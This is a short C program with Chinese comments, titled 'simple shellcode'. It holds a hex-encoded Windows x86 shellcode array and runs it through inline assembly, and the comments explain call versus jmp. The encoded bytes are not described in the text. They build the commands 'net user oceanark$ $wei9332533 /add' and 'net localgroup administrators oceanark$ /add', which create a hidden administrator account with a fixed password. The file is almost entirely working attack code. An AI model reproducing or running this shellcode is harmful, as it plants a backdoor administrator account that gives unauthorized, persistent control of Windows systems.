简单shellcode

void main()
{
 char shellcode[] = "\x54\x55\x50\x57\x56\x8b\xec\x33"
  "\xff\x57\x57\x57\xc6\x45\xf4\x6d"
  "\xc6\x45\xf5\x73\xc6\x45\xf6\x76"
  "\xc6\x45\xf7\x63\xc6\x45\xf8\x72"
  "\xc6\x45\xf9\x74\xc6\x45\xfa\x2e"
  "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c"
  "\xc6\x45\xfd\x6c\x8d\x45\xf4\x50"
  "\xb8\x7b\x1d\x80\x7c\xff\xd0\x8b"
  "\xec\x33\xff\x83\xec\x24\xc6\x45"
  "\xdd\x6e\xc6\x45\xde\x65\xc6\x45"
  "\xdf\x74\xc6\x45\xe0\x20\xc6\x45"
  "\xe1\x75\xc6\x45\xe2\x73\xc6\x45"
  "\xe3\x65\xc6\x45\xe4\x72\xc6\x45"
  "\xe5\x20\xc6\x45\xe6\x6f\xc6\x45"
  "\xe7\x63\xc6\x45\xe8\x65\xc6\x45"
  "\xe9\x61\xc6\x45\xea\x6e\xc6\x45"
  "\xeb\x61\xc6\x45\xec\x72\xc6\x45"
  "\xed\x6b\xc6\x45\xee\x24\xc6\x45"
  "\xef\x20\xc6\x45\xf0\x24\xc6\x45"
  "\xf1\x77\xc6\x45\xf2\x65\xc6\x45"
  "\xf3\x69\xc6\x45\xf4\x39\xc6\x45"
  "\xf5\x33\xc6\x45\xf6\x33\xc6\x45"
  "\xf7\x32\xc6\x45\xf8\x35\xc6\x45"
  "\xf9\x33\xc6\x45\xfa\x20\xc6\x45"
  "\xfb\x2f\xc6\x45\xfc\x61\xc6\x45"
  "\xfd\x64\xc6\x45\xfe\x64\x8d\x45"
  "\xdd\x50\xb8\xc7\x93\xbf\x77\xff"
  "\xd0\x8b\xec\x33\xff\x83\xec\x3c"
  "\xc6\x45\xd3\x6e\xc6\x45\xd4\x65"
  "\xc6\x45\xd5\x74\xc6\x45\xd6\x20"
  "\xc6\x45\xd7\x6c\xc6\x45\xd8\x6f"
  "\xc6\x45\xd9\x63\xc6\x45\xda\x61"
  "\xc6\x45\xdb\x6c\xc6\x45\xdc\x67"
  "\xc6\x45\xdd\x72\xc6\x45\xde\x6f"
  "\xc6\x45\xdf\x75\xc6\x45\xe0\x70"
  "\xc6\x45\xe1\x20\xc6\x45\xe2\x61"
  "\xc6\x45\xe3\x64\xc6\x45\xe4\x6d"
  "\xc6\x45\xe5\x69\xc6\x45\xe6\x6e"
  "\xc6\x45\xe7\x69\xc6\x45\xe8\x73"
  "\xc6\x45\xe9\x74\xc6\x45\xea\x72"
  "\xc6\x45\xeb\x61\xc6\x45\xec\x74"
  "\xc6\x45\xed\x6f\xc6\x45\xee\x72"
  "\xc6\x45\xef\x73\xc6\x45\xf0\x20"
  "\xc6\x45\xf1\x6f\xc6\x45\xf2\x63"
  "\xc6\x45\xf3\x65\xc6\x45\xf4\x61"
  "\xc6\x45\xf5\x6e\xc6\x45\xf6\x61"
  "\xc6\x45\xf7\x72\xc6\x45\xf8\x6b"
  "\xc6\x45\xf9\x24\xc6\x45\xfa\x20"
  "\xc6\x45\xfb\x2f\xc6\x45\xfc\x61"
  "\xc6\x45\xfd\x64\xc6\x45\xfe\x64"
  "\x8d\x45\xd3\x50\xb8\xc7\x93\xbf"
  "\x77\xff\xd0\x5e\x5f\x58\x5d\x5c";

 __asm
 {
  lea eax,shellcode  //先把ShellCode字符串的地址传给eax。
  jmp eax  //然后跳到处执行ShellCode。直接跳过去的话，ShellCode执行完后会没有返回的地方，运行完后会报错，可以把jmp换成call。
 }

/*

科普一下:
call和jmp的区别是:
jmp是直接跳到目标地址去执行
call要先把下一个命令的地址压栈，然后才跳到目标地址执行，这样等ShellCode执行完后会返回我们压栈了的下一条指令继续执行。

这段也可以换成这样的vc代码

((void(*)(void)) &strShellCode)();
    return 0;
*/
}